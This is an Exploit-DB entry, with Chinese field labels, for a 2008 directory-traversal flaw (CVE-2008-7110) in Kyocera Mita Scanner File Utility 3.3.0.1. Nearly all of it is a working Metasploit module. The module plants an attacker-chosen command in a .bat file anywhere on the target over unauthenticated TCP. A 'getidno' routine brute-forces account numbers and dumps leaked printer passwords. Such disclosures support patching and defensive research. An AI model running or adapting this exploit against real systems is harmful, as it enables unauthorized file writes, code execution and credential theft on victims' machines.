标题: Kyocera Mita Scanner File Utility 3.3.0.1 - File Transfer Directory Traversal EDB-ID: 32301 CVE: 2008-7110 类型: REMOTE 平台: WINDOWS 发布日期: 2008-08-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/30855/info

Kyocera Mita Scanner File Utility is prone to a directory-traversal vulnerability because it fails to adequately sanitize user-supplied input.

Attackers can exploit this issue to create and overwrite arbitrary files on the affected computer.

Kyocera Mita Scanner File Utility 3.3.0.1 is vulnerable; other versions may also be affected. 

module Msf

class Auxiliary::Spoof::Kyocera::FileUtility < Msf::Auxiliary
 
 #
 # This exploit affects TCP servers, so we use the TCP client mixin.
 #
 include Exploit::Remote::Tcp
 
 def initialize(info = {})
 super(update_info(info,
  
  'Name' => 'Kyocera Mita File Utility File Injection',
  'Description' => %q{
   This exploit attacks the Kyocera Mita File Utility 3.3.0.1 that is part of a scan to desktop
   solution. There are several bugs in this service. First, there is no authentication. This means anyone
   can upload a file to the target PC. Second, the file can contain anything, including binary data. Finally,
   the file name can be altered to include directory information, thus redirecting the file from
   the default upload location to a specified location. Combined, the service will allow a remote attacker
   to upload any file to any location on the system. If you do
   not know the correct ID number of the client side account, you can use the included getidno command to
   scan a system to detect any and all ID numbers. This will also provide you with any associated 
   passwords required by printer to upload documents.
  },

  'Author'         => 'Seth Fogie <seth@whitewolfsecurity.com>'

  )
 )
 register_options(
          [
               OptString.new('RPORT', [ true,  "Target port - default is 37100", '37100' ]),
               OptString.new('RHOST', [ true,  "Target host", '1']),
    OptString.new('CMD', [ true,  "Command", 'calc.exe']),
   OptInt.new('IDNO', [ true,  "ID number (1-100)", '1']),
   OptString.new('IDENT', [ true,  "Identification name", 'ANON']),
   OptString.new('FILENAME', [ true,  "File name (with folder)", 'Kyocera.bat']),
   OptString.new('FOLDER', [ false,  "Folder (relative to scan folder)", '']),

          ], self.class
          )
end

 
 def auxiliary_commands
  return { 
   "getidno" => "Determine a correct idno",
   }
 end

 #this command detects any and all valid accounts on target machine and returns associated passwords.
 def cmd_getidno()
    
  1.upto(100) do |i|
     
   connect
 
   print(".")
   
   # Build the buffer for transmission
   buf= "\x00\x06\x34\x00\x00\x02\x00\x00" #control message to PC
 
   # Send it off and get response
   sock.put(buf)
   sock.get
 
   #add ID number
   idno  = i
 
   buf = "\x02\x1c\x34\x02" +   #details about file name for file utility function
   [idno].pack('n') +    #ID number
   "\x00\x08" +
   "\x00\x0d" +
   "\x41\x41\x41\x41\x00\x4e\x53\x4e\x5f\x53\x4b\x41\x4e\x3a" +
   "\x41\x41\x41\x41\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00\x00\x00" +
   "\x00\x00\x00\x00\x00\x00"
 
   sock.put(buf)
   nulls="\x00\x00"
   passTest="\xFF\xFF"
   data=sock.get
   dataStr=data.to_s

   if dataStr[dataStr.length-6,2] == nulls
    print("\n")
    print_status("Valid account number found: " + i.to_s) 
   end
   if dataStr[dataStr.length-2,2] != passTest
    print_status("BONUS! Password! (last four or eight characters of string)" )
    j=0
    while j<12
           printf("%X",data[j])
          j+=1
          end
    print("\n")
   end

   
 
   sock.close
  end
  print("\n")
    
 end
 

#
# The exploit sends the specified command into a kyocera.bat file in the specified folder
#
def run

 begin
 connect
 
 print_status("Sending command...")
 
 # Build the buffer for transmission
 buf= "\x00\x06\x34\x00\x00\x02\x00\x00" #control message to PC
 
 # Send it off and get response
 sock.put(buf)
 sock.get
 
 #add ID number
 idno  = datastore['IDNO']
 ident = datastore['IDENT']
 filename = datastore['FILENAME']
 folder = datastore['FOLDER']
 locationLength = filename.length + folder.length

 
 buf = "\x02\x1c\x34\x02" +   #details about file name for file utility function
 [idno].pack('n') +    #ID number
 "\x00\x08" +
 "\x00\x0d" +
 "\x41\x41\x41\x41" +
 "\x00\x4e\x53\x4e\x5f\x53\x4b\x41\x4e\x3a" +
 ident +
 "\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00"

 
 
 sock.put(buf)
 nulls="\x00\x00"
 passTest="\xFF\xFF"
 data=sock.get
 dataStr=data.to_s
 
 #print_status(nulls)
 #print_status(dataStr[dataStr.length-6,2])

 if dataStr[dataStr.length-6,2] != nulls
  print_status("Invalid account number - use getidno command to find valid idno") 
 end
 if dataStr[dataStr.length-2,2] != passTest
  print_status("BONUS! Password! (last four or 8 characters of string)" )
  j=0
  while j<12
         printf("%X",data[j])
        j+=1
  end
  print("\n")
 end

 buf = "\x00\x54" +    #details about file name 
 "\x30" +     #location size (must be x30)
 "\x01" +     #can be altered to include folder and file
 "\x00\x05\x00\x00" +
 "\xff\xff\xff\xff\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x00\x00\x00" +
 "\x00\x00\x00\x00\x00\x24" +
 folder + filename
 
 padding = 48-locationLength
 j=0
 while j<padding
        buf += "\x00"
       j+=1
 end
 

 #"\x4b\x79\x6f\x63\x65\x72\x61\x2e\x62\x61\x74" +
 #"\x00\x00\x00"


 #add command length
 thecommand  = datastore['CMD']
 cmdLen = thecommand.length
 buf += [cmdLen].pack('N')
 
 #add command
 buf << thecommand
 
 j=0

 #put file
 sock.put(buf)    

 buf = "\x00\x04\x30\x02\x00\x00"


 
 sock.put(buf)    
 
 buf="\x00\x04\x30\x05\x53\xdc" 

 sock.put(buf)
 sock.get
 
 buf="\x00\x04\x30\x03\x00\x00"

 sock.put(buf)
 sock.get

 end
end
end
end URL: https://www.exploit-db.com/exploits/32301